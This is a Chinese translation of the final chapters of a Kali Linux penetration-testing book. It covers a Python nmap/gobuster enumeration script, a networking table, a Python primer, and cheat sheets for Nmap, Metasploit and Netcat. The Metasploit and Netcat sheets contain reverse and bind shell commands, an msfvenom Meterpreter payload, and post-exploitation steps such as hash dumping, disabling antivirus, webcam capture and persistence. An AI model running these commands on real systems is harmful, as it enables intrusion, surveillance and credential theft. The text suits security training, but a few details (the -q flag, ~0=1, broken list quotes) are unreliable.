在工具的这一部分,我添加了我们将在整个源代码中重复使用的实用函数。这些函数显示在以下项目列表中:
- 用以下内容打印分隔线:
separator_single_line = '------------------------------------------------------------' separator_double_line = '============================================================'
- 要在终端窗口上打印彩色文本,请使用以下内容:
# Printing Red Text for errors def print_red(text): print("\033[91m {}\033[00m".format (text))
# Printing Green Text for messages def print_green(text): print("\033[92m {}\033[00m".format (text))
# Printing Yellow Text for warnings def print_yellow(text): print("\033[93m {}\033[00m".format (text))
- 要将报告结果保存到文件中,请使用以下内容:
def save_results(results, folder_name, file_name):
try:
# Save the results to a folder/file
file_name_path = folder_name + "/" + file_name
# If the folder does not exist then create it
if not os.path.isdir (folder_name):
os.mkdir (folder_name)
# Create the file object
file_to_save = open (file_name_path, 'w')
# Make sure the output is correctly encoded
results = results.encode ('utf-8')
# Write the changes
file_to_save.write (results)
# Close file object
file_to_save.close ()
except Exception, e:
exception_message = str (e)
print_red ('[!] Error: Cannot save the results to a file! Reason:\r\n' + exception_message)
- 要执行终端窗口命令,请使用以下内容:
def execute_cmd(tool_name, cmd):
start_msg = "[+] Starting %s ..." % tool_name
print_green (start_msg)
# The output variable that stores the output from the command line
output = '' try:
# Cleanup the command string
cmd = cmd.rstrip()
# Execute the command
output += subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
# Add a new line
output += '\r\n'
except Exception, e:
exception_message = str (e)
output += exception_message
print_red ("[!] Error executing the command: " + cmd + " Reason:\r\n" + exception_message)
output += '\r\n' output += separator_single_line + '\r\n' end_msg = "[+] Finished %s ..." % tool_name
print_green (end_msg)
return output
- 在命令执行后打印错误消息,请使用以下内容:
def error_execution(tool_name): print_red ("Error Executing " + tool_name)
服务枚举
正如我之前提到的,应用程序在运行 Nmap TCP 扫描后将枚举 HTTP 和 FTP 服务(如果端口开放):
- 使用 Nmap 进行 FTP 枚举,请使用以下内容:
nmap_ftp_tool_name = 'NMAP FTP Enum' def execute_nmap_ftp_enum(ip_address, port_number):
command = "nmap -sV -p %s --script=ftp* %s" % (port_number, ip_address)
return execute_cmd (nmap_ftp_tool_name, command)
- 对于 HTTP,我使用 Nmap 进行脚本扫描和
gobuster查找隐藏的 URL:
nmap_tool_name = 'NMAP HTTP Enum' crawler_tool_name = 'Gobuster' # Description: Execute an Nmap HTTP enum command # Return: The output after command execution def execute_nmap_http_enum(ip_address, port_number):
command = "nmap -sV -p %s --script=http-enum,http-vuln* %s" % (port_number, ip_address)
return execute_cmd (nmap_tool_name, command)
# Description: Execute an HTTP browsing enum command # Return: The output after command execution def execute_directories_http_enum(ip_address, port_number):
command = "gobuster -u http://%s:%s -w /usr/share/wordlists/dirb/common.txt -s '200,204,301,302,307,403,500' -e" % (
ip_address, port_number)
return execute_cmd (crawler_tool_name, command)
DTO 服务类
数据传输对象(DTO)服务类将保存 TCP 扫描后找到的每个服务的结果。一个服务将有三个标准:
-
服务端口
-
名称
-
描述
在使用 Nmap 结果解析器时,我们将调用这个类,如下所示:
class ServiceDTO:
# Class Constructor
def __init__(self, port, name, description):
self.description = description
self.port = port
self.name = name
扫描器核心
核心部分将使用 Nmap 运行 TCP 扫描,然后解析结果,最后,对于找到的所有服务,我们调用之前讨论过的枚举方法,如下列表所示:
- 要使用 Nmap 执行 TCP 扫描,请使用以下内容:
def start_nmap_tcp_scan(ip_address):
nmap_tcp_command = "nmap -T4 -sS -sV -sC -p- -O --open --osscan-guess --version-all %s" % ip_address
nmap_tcp_output = execute_cmd ('Nmap TCP Scan', nmap_tcp_command)
#Parse the nmap scan results
service_names_list = parse_nmap_output(nmap_tcp_output)
#Start the enumeration process
start_enumeration_process(service_names_list,ip_address)
print_yellow("[!] The Program Scanner Has Finished The Execution (report saved to /reports)")
- 要解析 Nmap 输出结果,请使用以下内容:
def parse_nmap_output(nmap_output):
service_names_list = {}
nmap_output = nmap_output.split ("\n")
for output_line in nmap_output:
output_line = output_line.strip ()
services_list = []
# if port is opened
if ("tcp" in output_line) and ("open" in output_line) and not ("Discovered" in output_line):
# cleanup the spaces
while " " in output_line:
output_line = output_line.replace (" ", " ")
# Split the line
output_line_split = output_line.split (" ")
# The third part of the split is the service name
service_name = output_line_split[2]
# The first part of the split is the port number
port_number = output_line_split[0]
# It's time to get the service description
output_line_split_length = len (output_line_split)
end_position = output_line_split_length - 1
current_position = 3
service_description = '' while current_position <= end_position:
service_description += ' ' + output_line_split[current_position]
current_position += 1 # Create the service Object
service = ServiceDTO (port_number, service_name, service_description)
# Make sure to add a new service if another one already exists on a different port number
if service_name in service_names_list:
# Get the objects that are previously saved
services_list = service_names_list[service_name]
services_list.append (service)
service_names_list[service_name] = services_list
return service_names_list
- 在 TCP 扫描和结果解析后开始枚举过程:
# Start the enumeration process after the TCP scan def start_enumeration_process(nmap_output_services_list, ip_address):
enum_output = ''
for service_name in nmap_output_services_list:
services = nmap_output_services_list[service_name]
if service_name == "http":
for service in services:
port_number = service.port.split("/")[0]
enum_output += enum_http(ip_address,port_number)
elif "ftp" in service_name:
for service in services:
port_number = service.port.split ("/")[0]
enum_output += enum_ftp(ip_address,port_number)
save_results(enum_output,'./reports', ip_address+".txt")
再次邀请您从 GitHub 下载源代码,并在 Kali Linux 的 IDE 中进行操作。
摘要
我们完成了,朋友们!希望你们喜欢阅读这本书,并为了确保能够帮助你解答有关本书内容的任何问题或意见,以下是可以用来与我联系的联系方式:
-
邮箱:
gus.khawaja@guskhawaja.me -
推特:
@gusKhawaja -
领英:
https://ca.linkedin.com/in/guskhawaja -
博客:
http://ethicalhackingblog.com
黑客不是罪恶——它是一门艺术!
第十二章:Nmap 备忘单
Nmap 是一个非常方便的工具。由于你不可能总是记住所有选项,这里是你的口袋参考。
执行nmap不带任何参数,你将获得完整的帮助菜单,如果需要更多详细信息(或者可以使用$nmap -h)。以下列表并非 Nmap 提供的所有选项;它们只是最常见的选项。
Nmap 用法:nmap [扫描类型] [选项] [目标 IP / 范围]
例如:
nmap -sS -v 192.168.0.10
目标规范
目标规范是目标主机或主机组。在这个字段中,你可以使用以下内容:
-
主机名:
your_target_domain.com -
IPv4 地址:
192.168.1.1 -
IPv6 地址:
56c2:4be:2554:f94:f72d:c65:7182:4f20(使用-6启用 IPv6) -
IP 地址范围:
192.168.1.1-255 -
CIDR 块:
192.168.1.0/24 -
从文件加载目标(IP 地址):
-iL [文件名](例如,iL /root/ips.txt)
主机发现
-
列出要扫描的目标(被动扫描):
-sL -
Ping 扫描(无扫描):
-sn -
无探测(无 Ping):
-Pn -
禁用 DNS 解析:
-n或–R -
执行路由跟踪:
--traceroute -
指定自定义 DNS 服务器:
--dns-servers [10.0.0.5,10.0.0.10]
扫描类型和服务版本
-
Syn 扫描:
-sS -
TCP 连接扫描:
-sT -
服务版本扫描:
-sV -
版本识别强度:
--version-intensity [级别从 0 到 9](0是轻量级,9将尝试所有可能性) -
操作系统扫描:
-O -
更积极地猜测操作系统:
--osscan-guess -
脚本扫描:
-sC -
UDP 扫描:
-sU -
全部= OS(
-O)+版本(-sV)+脚本(-sC)+路由跟踪(--traceroute):-A
端口规范和扫描顺序
-
单个端口:例如,
-p 21 -
端口范围(从 1 到 1,000):例如,
-p 1-1000 -
端口列表:例如,
-p 21,25,80 -
热门端口:
--top-ports [数量](例如,--top-ports 100或--top-ports 1000) -
扫描比扫描器默认端口号更少的端口(快速模式):
-F
脚本扫描
-
使用默认脚本扫描:
--script=default(与-sC相同) -
使用脚本扫描(可以使用逗号分隔多个脚本):
--script=[脚本名称](例如,--script=http-enum) -
为脚本指定参数:例如,
--script-args creds.snmp=admin
时间和性能
-
设置时间速度(5 最快):
-T[0-5] -
并行主机组大小:
--min-hostgroup/max-hostgroup <大小> -
并行探测数:
--min-parallelism/max-parallelism <numprobes> -
端口扫描探测重试次数:
--max-retries <尝试次数> -
在一定时间后放弃目标:
--host-timeout <时间>
防火墙/IDS 回避和欺骗
-
欺骗源 IP 地址:例如,
-S 10.0.0.10 -
使用源端口:例如,
--source-port=80 -
伪造 macOS 地址:
--spoof-mac [mac 地址]
输出
-
正常输出:
-oN <文件> -
XML 输出:
-oX <文件> -
Grep 输出:
-oG <文件> -
增加详细程度:
-v(使用-vv或更多以获得更大效果) -
增加调试级别:
-d(使用-dd或更多以获得更大效果) -
显示端口处于特定状态的原因:
--reason -
只显示开放的端口:
--open -
显示所有发送和接收的数据包:
--packet-trace -
XSL 样式表用于将 XML 输出转换为 HTML:
--stylesheet <path/URL>(例如,–stylesheet nmap.xsl)
第十三章:Metasploit 备忘单
在开始利用阶段之前,你必须从头到尾了解 Metasploit 框架,因此我为你准备了一个 Metasploit 框架的快速参考(备忘单)。
Metasploit 框架
使用以下脚本文件启动 Metasploit:
$msfconsole -r test.rc
要运行 Metasploit,使用以下命令:
$msfconsole
使用数据库
在 Kali Linux 中,使用数据库之前需要启动postgresql服务器:
$ systemctl start postgresql
启动postgresql后,你需要使用msfdb init创建并初始化msf数据库:
$ msfdb init
如果你刚创建了一个新的漏洞利用并想要刷新metasploit db以开始使用新创建的漏洞利用,请输入以下命令:
$service postgresql restart && msfdb reinit
然后,输入以下命令:
$msfconsole -q
-q将以调试模式启动msfconsole,因此如果你在新的漏洞利用类中犯了错误,调试器将把错误信息打印到屏幕上。
更多与数据库相关的命令
-
msf > db_status:此命令将确认 Metasploit 是否成功连接到数据库 -
msf > workspace:这将显示当前选择的工作区 -
msf > workspace [新工作区]:这将把当前工作区切换为所选的新工作区 -
msf > workspace -a [要添加的工作区名称]:这是要添加的工作区名称 -
msf > workspace -d [要删除的工作区名称]:这是要删除的工作区名称 -
msf > db_import [XML 文件夹路径]:这将导入先前扫描的文件,例如db_import /root/msfu/nmapScan -
msf > db_nmap [nmap 参数]:这将使用 Nmap 进行扫描,例如db_nmap -A 172.16.194.134 -
msf > hosts:此命令将在扫描后列出发现的主机 -
msf > services:此命令将在扫描后列出发现的服务 -
msf > creds:此命令将在暴力破解扫描后列出任何找到的凭证 -
msf > loot:如果你已经攻破了系统,这将获取哈希转储 -
msf > db_export -f [格式] [XML 文件路径]:例如,db_export -f xml /root/msfu/Exported.xml
环境导航
-
msf > search:此命令将根据你提供的搜索条件查找特定模块(尝试执行help search) -
msf > search [任何关键词]:例如,search apache version 2.3 -
msf > grep & search:例如,grep http search apache -
搜索关键词:
-
app:客户端或服务器攻击模块 -
author:此作者编写的模块 -
bid:具有匹配 Bugtraq ID 的模块 -
cve:具有匹配 CVE ID 的模块 -
edb:具有匹配 Exploit-DB ID 的模块 -
name:具有匹配描述名称的模块 -
platform:影响此平台的模块 -
ref:具有匹配ref的模块 -
type:特定类型(exploit、auxiliary 或 post)的模块
-
-
示例:
-
msf > search cve:2009 type:exploit app:client -
msf > search name:mysql -
msf > search platform:windows -
msf > search type:auxiliary
-
-
更多命令:
-
msf > help:列出可用命令 -
msf > back:返回一步 -
msf > exit:退出 msfconsole
-
使用模块
-
msf > use [module name]: 选择一个模块并使用它。例如,使用dos/windows/smb/ms09_001_write。 -
msf > show: 这将显示 Metasploit 中某个特定项目的信息。 -
msf > show: 在msfconsole提示符下输入show将显示 Metasploit 中的每个模块。 -
msf > show options: 这将显示模块的选项。 -
msf > show auxiliary: 这将显示 Metasploit 中所有可用的辅助模块的列表。 -
msf > show exploits: 这将列出框架中所有的漏洞利用。 -
msf > show payloads: 这将显示所有不同的有效载荷(无论是 Metasploit 中的,还是同一模块中的)。 -
msf > show targets: 这将显示在漏洞模块的上下文中支持哪些目标。 -
msf > show advanced: 如果你想进一步调整漏洞利用,使用此命令查看更多高级选项。 -
msf > show encoders: 这将显示 msfconsole 中可用的编码器列表。 -
msf > show nops: 这将显示 Metasploit 提供的 NOP 生成器列表。 -
msf > info [module name]: 这将提供关于某个模块的详细信息。例如,info exploit/windows/http/apache_chunked。 -
msf > check: 这将验证目标是否存在漏洞,但你需要先设置选项。 -
msf > set:set命令允许你为当前正在使用的模块配置框架选项和参数。例如,set RHOST 172.16.194.134。 -
msf > setg: 这将设置msfconsole中的全局变量。例如,setg LHOST 10.0.0.100。 -
msf > unset:unset命令删除先前通过set配置的参数。你可以通过unset all删除所有已分配的变量。例如,unset THREADS。 -
msf > save:save命令将保存当前的环境和设置。 -
msf > jobs [option]:jobs命令提供列出和终止这些任务的功能。使用jobs -h命令获取可用选项。例如,jobs -l。
杂项
-
msf > load [plugin name]:load命令从 Metasploit 的插件目录加载插件。参数通过key=val的形式传递给 shell。例如,load pcap_log。 -
msf > unload [plugin name]:unload命令卸载先前加载的插件并移除任何扩展命令。例如,unload pcap_log。 -
msf > loadpath [module path]:loadpath命令将加载一个第三方模块路径,以便你可以将 Metasploit 指向你的 0-day 漏洞、编码器、有效载荷等。例如,loadpath exploit/windows/test/test_module。 -
msf > connect [IP]: 这与netcat类似,适用于横幅抓取和与服务交互。例如,connect 192.168.1.10。
msfvenom
msfvenom 可以用于生成 Windows 操作系统的反向 TCP Meterpreter 有效载荷,例如:
$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
- 平台: 以下是我们可以使用的平台值:
Cisco 或 cisco,OSX 或 osx,Solaris 或 solaris,BSD 或 bsd,OpenBSD 或 openbsd,hardware,Firefox 或 firefox,BSDi 或 bsdi,NetBSD 或 netbsd,NodeJS 或 nodejs,FreeBSD 或 freebsd,Python 或 python,AIX 或 aix,JavaScript 或 javascript,HPUX 或 hpux,PHP 或 php,Irix 或 irix,Unix 或 unix,Linux 或 linux,Ruby 或 ruby,Java 或 java,Android 或 android,Netware 或 netware,Windows 或 windows,mainframe,multi。
- 可执行格式:以下是我们可以使用的可执行格式:
asp,aspx,aspx-exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,psh-cmd,vba,vba-exe,vba-psh,vbs,war。
- 转换格式:以下是我们可以使用的转换格式:
bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript。
监听脚本
$ touch script.rc $ echo use exploit/multi/handler >> script.rc $ echo set PAYLOAD windows/meterpreter/reverse_tcp >> script.rc $ echo set LHOST 192.168.0.114 >> script.rc $ echo set ExitOnSession false >> script.rc $ echo exploit -j -z >> script.rc $ msfconsole -r script.rc
Meterpreter
-
msf > sessions [选项或 ID]:sessions命令允许你列出、交互并结束已生成的会话。会话可以是 shell、Meterpreter 会话、VNC 等(使用sessions -h获取帮助)。 -
meterpreter > background:将当前的 Meterpreter 会话发送到后台,并返回到msf提示符。 -
meterpreter > getuid:显示 Meterpreter 服务器是否在主机上运行。 -
meterpreter > sysinfo:显示受害者的操作系统信息。 -
meterpreter > cd:更改受感染系统上的当前目录。 -
meterpreter > ls:列出当前目录中的文件。 -
meterpreter > pwd:打印受感染系统上的当前目录。 -
meterpreter > ps:显示目标主机上正在运行的进程列表。 -
meterpreter > run post/windows/manage/migrate:迁移到受害者的另一个进程。 -
meterpreter > use priv:在执行getsystem命令之前使用此命令。 -
meterpreter > getsystem:使用此命令提升你的权限。
如果你遇到错误 priv_elevate_getsystem: 操作失败:访问被拒绝,请按照以下步骤操作:
meterpreter > background
选项 1:
msf > use post/multi/recon/local_exploit_suggester msf post(local_exploit_suggester) > show options msf post(local_exploit_suggester) > run
选项 2:
-
msf > use exploit/windows/local/:列出所有 Windows 漏洞。 -
msf > use exploit/windows/local/ms10_015_kitrap0d:我们从列表中选择了一个漏洞,具体如下:
msf exploit(ms10_015_kitrap0d) > show options msf exploit(ms10_015_kitrap0d) > set SESSION 1 msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.100 msf exploit(ms10_015_kitrap0d) > set LPORT 4445 msf exploit(ms10_015_kitrap0d) > exploit meterpreter > getuid Server username: NT AUTHORITY\SYSTEM - Hooray
-
meterpreter > search:提供在目标主机上查找特定文件的方法。例如,search -f passwords*.txt。 -
meterpreter > cat [文件名路径]:当提供文件路径作为参数时,显示文件内容。 -
meterpreter > download [文件名路径]:从远程主机下载文件。注意,提供 Windows 路径时要使用双斜杠。例如,download C:\\passwords.txt。 -
meterpreter > upload [local file name] [remote path]:例如,upload evil_trojan.exe c:\\windows\\system32。 -
meterpreter > execute [command]:在目标系统上运行命令。 -
meterpreter > shell:在目标系统上执行 Shell(终端或 DOS)。 -
meterpreter > run post/windows/gather/hashdump:一个后期模块,用于转储 SAM 数据库的内容。 -
meterpreter > ipconfig:显示远程机器上的网络接口和地址。 -
meterpreter > webcam_list:显示目标主机上当前可用的摄像头列表。 -
meterpreter > webcam_snap:从目标系统连接的网络摄像头抓取一张图片,并将其保存为 JPEG 图像到磁盘。默认情况下,保存位置是本地当前工作目录,文件名随机生成。例如,webcam_snap -i 1 -v false。 -
meterpreter > python_import [local python file]:导入本地 Python 文件并在受害者的机器上执行。例如,meterpreter > python_import -f /root/readAutoLogonREG.py。 -
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 -
meterpreter > run post/windows/gather/checkvm:检查受害主机是否为虚拟机。 -
meterpreter > run post/windows/gather/credentials/credential_collector:在被攻陷的主机上收集密码哈希和令牌。 -
meterpreter > run post/windows/gather/dumplinks:dumplinks模块解析用户最近文档中的.lnk文件,这对于进一步的信息收集非常有用。 -
meterpreter > run post/windows/gather/enum_applications:枚举在受害主机上安装的应用程序。 -
meterpreter > run post/windows/gather/enum_logged_on_users:返回当前和最近登录的用户列表及其 SID。 -
meterpreter > run post/windows/gather/enum_shares:返回在受害系统上配置和最近使用的共享列表。 -
meterpreter > run post/windows/gather/enum_snmp:枚举目标上的 SNMP 服务配置(如果存在),包括社区字符串。 -
meterpreter > run post/windows/gather/hashdump:使用注册表转储受害主机上的本地用户账户。 -
meterpreter > run post/windows/gather/usb_history:枚举受害系统上的 USB 驱动器历史记录。 -
meterpreter > run getcountermeasure:检查受害者系统的安全配置,并能禁用其他安全措施,如 A/V、防火墙等。 -
meterpreter > run getgui -e:如果目标系统的 RDP 被禁用,则启用 RDP。 -
meterpreter > run gettelnet -e:如果 Telnet 在受害者系统中被禁用,则启用 Telnet。 -
meterpreter > run killav:禁用目标上作为服务运行的大部分杀毒软件。 -
meterpreter > run remotewinenum -u administrator -p password123 -t 10.0.0.100:通过wmic枚举受害者的系统信息。记录日志存储位置。 -
meterpreter > run scraper:抓取系统信息,包括整个注册表。 -
meterpreter > run winenum:这是一款非常详细的 Windows 枚举工具。它会导出令牌、哈希值等更多信息。 -
meterpreter > run persistence -U -i 10 -p 443 -r 192.168.1.5:配置我们的持久化 Meterpreter 会话,直到用户登录到远程系统并尝试每 10 秒通过192.168.1.5的443端口回连到我们的监听器。
第十四章:Netcat 备忘单
Netcat 是一款瑞士军刀工具,兼容 Linux 和 Windows。它既可以作为 TCP 客户端,也可以作为 UDP 客户端和服务器。
Netcat 命令标志
-
-l: 监听模式(默认是客户端模式)。 -
-L: 更强的监听,仅在 Windows 版本的 Netcat 中支持。此选项使 Netcat 成为持久的监听器,在客户端断开连接后会重新开始监听。 -
-u: UDP 模式(默认是 TCP)。 -
-p: 本地端口(在监听模式下,这是监听的端口)。 -
-e: 连接建立后执行的程序。 -
-n: 不对另一端机器的名称进行 DNS 查找(名称解析)。 -
-z: 零 I/O 模式。 -
-w(N): 连接超时时间。带有此选项的 Netcat 客户端或监听器将等待 N 秒以建立连接。例如,w1或w2。 -
-v: 详细模式。 -
-vv: 非常详细的输出。
实际例子
你在本书中已经学习了如何使用 Netcat。接下来的列表中,你将看到一些常见的实用例子:
- 横幅抓取(HTTP):
nc -vn 10.1.1.100 80
按下 Enter 键执行命令后,输入任何内容,如 Hello SERVER,然后服务器会返回横幅头信息。
-
简单聊天:开始输入应该发送给对方的消息:
- 设置并在一端监听:
nc -v -lp 1234
-
- 在另一端,连接到监听器:
nc -v [Remote IP] 1234
-
传输文件:
- 在一端监听:
nc -vn -lp 1234 > file.txt
-
- 从另一端发送文件:
nc -vn <other side remote IP> 1234 < file.txt
-
绑定 shell:
- 假设受害者是 Windows 机器,开始监听:
nc -lvp 1234 -e cmd.exe
-
- 从攻击者机器连接到受害主机:
nc -vn [Victim IP] 1234
-
反向 shell 绕过防火墙:
- 开始在攻击者机器(Kali Linux)上监听:
nc -nlvp 1234
-
- 如果受害者使用的是 Windows 机器,输入以下命令:
nc -vn [Attacker IP] 1234 -e cmd.exe
如果受害者使用的是 Linux 机器,则应使用 -e /bin/bash。
第十五章:网络参考部分
网络是渗透测试中的一个重要话题。在本附录中,我将所有重要信息汇总在一起,以便你在需要时参考。
网络子网
有时,您将会得到子网掩码(一个 IP 地址范围)进行测试,在某些情况下,您只会测试单个 IP 地址。如果您正在使用子网掩码,请参考以下表格:
| CIDR | 主机数 | 子网掩码 |
|---|---|---|
| /30 | 2 | 255.255.255.252 |
| /29 | 6 | 255.255.255.248 |
| /28 | 14 | 255.255.255.240 |
| /27 | 30 | 255.255.255.224 |
| /26 | 62 | 255.255.255.192 |
| /25 | 126 | 255.255.255.128 |
| /24 | 254 | 255.255.255.0 |
| /23 | 510 | 255.255.254.0 |
| /22 | 1022 | 255.255.252.0 |
| /21 | 2046 | 255.255.248.0 |
| /20 | 4094 | 255.255.240.0 |
| /19 | 8190 | 255.255.224.0 |
| /18 | 16382 | 255.255.192.0 |
| /17 | 32766 | 255.255.128.0 |
| /16 | 65534 | 255.255.0.0 |
端口号和服务
知名端口: 0-1023
注册端口: 1024-49,151
动态端口: 49,152-65,535
最常见的端口和服务:
| 协议名称 | TCP/UDP | 端口号 |
|---|---|---|
| 文件传输协议 (FTP) | TCP | 20, 21 |
| 安全外壳协议 (SSH) | TCP | 22 |
| Telnet | TCP | 23 |
| 简单邮件传输协议 (SMTP) | TCP | 25 |
| 域名系统 (DNS) | TCP/UDP | 53 |
| 动态主机配置协议 (DHCP) | UDP | 67, 68 |
| 简单文件传输协议 (TFTP) | UDP | 69 |
| 超文本传输协议 (HTTP) | TCP | 80 |
| 邮局协议版本 3 (POP3) | TCP | 110 |
| NetBIOS | TCP/UDP | 137, 138, 139 |
| 互联网消息访问协议 (IMAP) | TCP | 143 |
| 简单网络管理协议 (SNMP) | UDP | 161, 162 |
| 轻量级目录访问协议 (LDAP) | TCP | 389 |
| 超文本传输协议通过 SSL/TLS (HTTPS) | TCP | 443 |
| 轻量级目录访问协议 通过 TLS/SSL (LDAPS) | TCP | 636 |
| FTPS — FTP over SSL/TLS | TCP | 989, 990 |
| IMAPS — IMAP over SSL/TLS | TCP | 993 |
| POPS — POP over SSL/TLS | TCP | 995 |
| MSSQL — Microsoft SQL Server | TCP | 1433 |
| MySQL | TCP | 3306 |
| 远程桌面协议 (RDP) | TCP | 3389 |
| Oracle 数据库 | TCP |
2483, 2484
|
| VNC 服务器 | TCP |
|---|
5500, 5900
|
| PCAnywhere | TCP | 5631, 5632 |
|---|---|---|
| X11 | TCP | 6000, 6001 |
要查看完整的参考列表,请访问 en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers。
第十六章:Python 快速参考
本附录包含了对这门神奇编程语言 Python 的快速概述。此参考将包含以下内容:
-
使用 Python 语言的基础
-
Python 中的运算符
-
如何在 Python 中创建条件语句
-
Python 变量类型
-
处理文件等更多内容
Python 语言概述
现在是开始学习 Python 的时候了。我在书中加入这一节有两个原因。首先,我希望你在未来开发 Python 脚本时能作为参考。其次,我希望刷新你对这门神奇编程语言的记忆。需要注意的是,我无法将所有关于这门语言的信息都放在附录中,因此我会包括一些 Python 的最重要元素,帮助你在职业生涯中获得最大的成果。你可以通过在终端窗口的 Python 解释器中学习和尝试以下示例——只需在终端窗口中输入 Python,你就可以开始了。
Python 基础
在本节中,我将列出使用 Python 语言时需要注意的所有基本操作:
- 要运行 Python 文件,请在终端窗口中执行以下命令:
$python [the_python_file_name.py]
你还可以使用以下运算符:
$./**[the_python_file_name.py]**
- 在执行上述命令之前,您需要授予其执行权限:
$chmod +x [the_python_file_name.py]
-
在 Python 中添加注释,可以使用以下语法:
- 对于单行注释,使用
#字符,使用"""进行多行注释:
- 对于单行注释,使用
# Comment one line
""" the three double quotes can be used
for multiple lines comments"""
-
在 Python 中组织你的代码块时,记得按Tab键,在分号字符下方插入新的代码块:
- 在这个例子中,我们必须在
if语句下方创建一个新块(紧接着:字符之后)
- 在这个例子中,我们必须在
if x == 1:
x = x + 1
print 'Success'
-
如果要换行,请使用反斜杠字符,但
[]、{}或()除外。例如:- 要将三份报告合并在一起,请使用以下命令:
report_results = nmap_report + \
theharvester_report + \
metasploit_report
-
- 要写一个长 IP 地址的列表,请使用以下格式:
ips = ['192.168.0.1',192.168.0.10','192.168.0.99',
192.168.0.100]
- 要导入其他外部库以使用其功能,请使用
import关键字:
# import the os library to allow us to create a new directory
import os
#create a test directory
os.mkdir('Test')
- 要打印信息到控制台输出,请使用
print函数:
print 'The application has finished execution'
- 要从终端窗口接受用户输入,请使用
raw_input函数:
ip_address = raw_input('IP:')
print ip_address
- Python 中的空对象用
None关键字表示:
if results is None:
print ('Empty results')
运算符
Python 编程语言中有许多不同类型的运算符。什么是运算符?一个简单的例子是==运算符,它被if条件语句使用(例如,if x==1)。一般来说,运算符可分为以下几类:
算术运算符
| 运算符 | 描述 | 示例 |
|---|---|---|
+ |
加法 运算 | x + y + z = 5 |
- |
减法 运算 | num1 – num2 = 3 |
* |
乘法 运算 | x * y = 9 |
/ |
除法 运算,左操作数除以右操作数 | b / a = 3 |
% |
除法 运算,左操作数除以右操作数并返回余数 | x % a = 0 |
** |
对操作数执行指数(幂)运算 | a**b =9 |
赋值运算符
| Operator | Description | Example |
|---|---|---|
= |
赋值运算符 | x=y |
+= |
将右操作数加到左操作数并将结果赋值给左操作数 | x +=y(等同于 x = x + y) |
-= |
从左操作数中减去右操作数并将结果赋值给左操作数 | y -=x(等同于 y=y-x) |
*= |
将右操作数与左操作数相乘并将结果赋值给左操作数 | x *= a(等同于 x = x * a) |
/= |
将左操作数除以右操作数并将结果赋值给左操作数 | x /= a(等同于 x = x / a) |
%= |
对操作数执行取余运算并将结果赋值给左操作数 | x %= a(等同于 x = x % a) |
**= |
对操作数执行指数(幂)运算并将结果赋值给左操作数 | x **= a(等同于 x = x ** a) |
比较运算符
| Operator | Description | Example |
|---|---|---|
== |
如果两个操作数相等,则条件为真 | x==y |
!= or <> |
如果两个操作数不相等,则条件为真 | x!=y |
> |
如果左操作数大于右操作数的值,则条件为真 | x>y |
< |
如果左操作数小于右操作数的值,则条件为真 | x<y |
>= |
如果左操作数大于或等于右操作数的值,则条件为真 | x>=y |
<= |
如果左操作数的值小于或等于右操作数的值,则条件为真 | x<= y |
成员和身份运算符
| Operator | Description | Example |
|---|---|---|
in |
如果变量在指定序列中,则返回 true | if 'tcp' in results: |
not in |
如果变量不在指定的序列中,则返回 false | if not 'http' in results: |
is |
如果运算符两边的变量相等,则返回 true | if results is None: |
is not |
如果运算符两边的变量不相等,则返回 true | if results is not None: |
二元运算符
| Operator | Description | Example |
|---|---|---|
& |
AND 运算符检查结果是否同时存在于两个操作数中 | 1&1 = 1 |
| |
OR 运算符检查结果是否存在于任一操作数中 | 0|1=1 |
^ |
XOR 运算符检查结果是否存在于某一个操作数中但不在两个操作数中 | 0¹=1 |
~ |
NOT 运算符表示反向位 | ~0=1 |
做出 if 判断
| Operator | Description | Example |
|---|---|---|
if |
基于操作数做出决策 | if service == 80: print 'HTTP' |
if-else |
在if判断之后采取不同的操作 |
if service == 80:`` print 'HTTP'``else:`` print 'Not HTTP' |
if-elif |
做出多个顺序决策 | if service == 80:`` print 'HTTP'``elif service == 443:`` print 'TLS'``else:`` print 'Not HTTP or TLS' |
变量
变量用于 Python 和其他编程语言中,用于在内存中存储临时值,以便在源代码中多个地方重用它们。
在 Python 中,我们有各种类型的变量,如下所示:
-
字符串
-
数字
-
列表
-
字典
-
元组
在源代码的任何阶段,你都可以使用以下类型转换语法从一个变量转换到另一个变量:
# A string type port number
port_number = "80"
# An integer, which holds the number of hosts
host_count = 254
# Convert port number into integer type
int(port_number)
# Convert port number into a float type with decimals
float(port_number)
# Convert the number of host into a string
str(host_count)
字符串
当你想将一组字符存储到变量中时,使用字符串变量类型:
- 你可以像以下示例一样使用字符串变量类型:
ip_address = '10.0.0.1'
# Or you can use double quotes:
ip_address= "10.0.0.1"
#Multiple lines, using triple double quotes/single quotes
welcome_message = """ Hello there, welcome to our powerful intelligent
script, you will be amazed!"""
- 要将两个字符串变量连接在一起,使用
+符号:
device_name = 'Cisco Router 2911'
ip_address = '10.0.1.1'
host = device_name + ":" + ip_address
- 要使用
%运算符格式化字符串,请执行以下操作:
ip_address = '10.0.1.1'
host = "router IP address is : %s" % ip_address
-
你可以使用以下格式化程序:
-
%s:字符串 -
%d:整数 -
%f:浮动数 -
%x:十六进制数字
-
转义字符串字符
| 反斜杠符号 | 十六进制字符 | 描述 |
|---|---|---|
\a |
0x07 | 响铃或警报 |
\b |
0x08 | 退格符 |
\e |
0x1b | 转义符 |
\f |
0x0c | 换页符 |
\n |
0x0a | 换行符 |
\r |
0x0d | 回车符 |
\s |
0x20 | 空格 |
\t |
0x09 | 制表符 |
- 要去除字符串中的前后空格,在
Welcome前加一个空格,在Python后加一个空格:
message = " Welcome To Python "
message = message.strip()
- 要获取字符串的长度,请执行以下操作:
ip_address = '10.0.1.1'
string_length = len(ip_address)
- 要分割字符串并返回一个列表中的值,请执行以下操作:
ips= "10.0.0.1,10.0.0.2"
ips_splitted = ips.split(',')
print ips_splitted[0]
数字
以下是 Python 支持的最常见数字类型的列表:
-
int:这些有时被称为整数,它们是没有小数点的正数或负数(例如,11)。
-
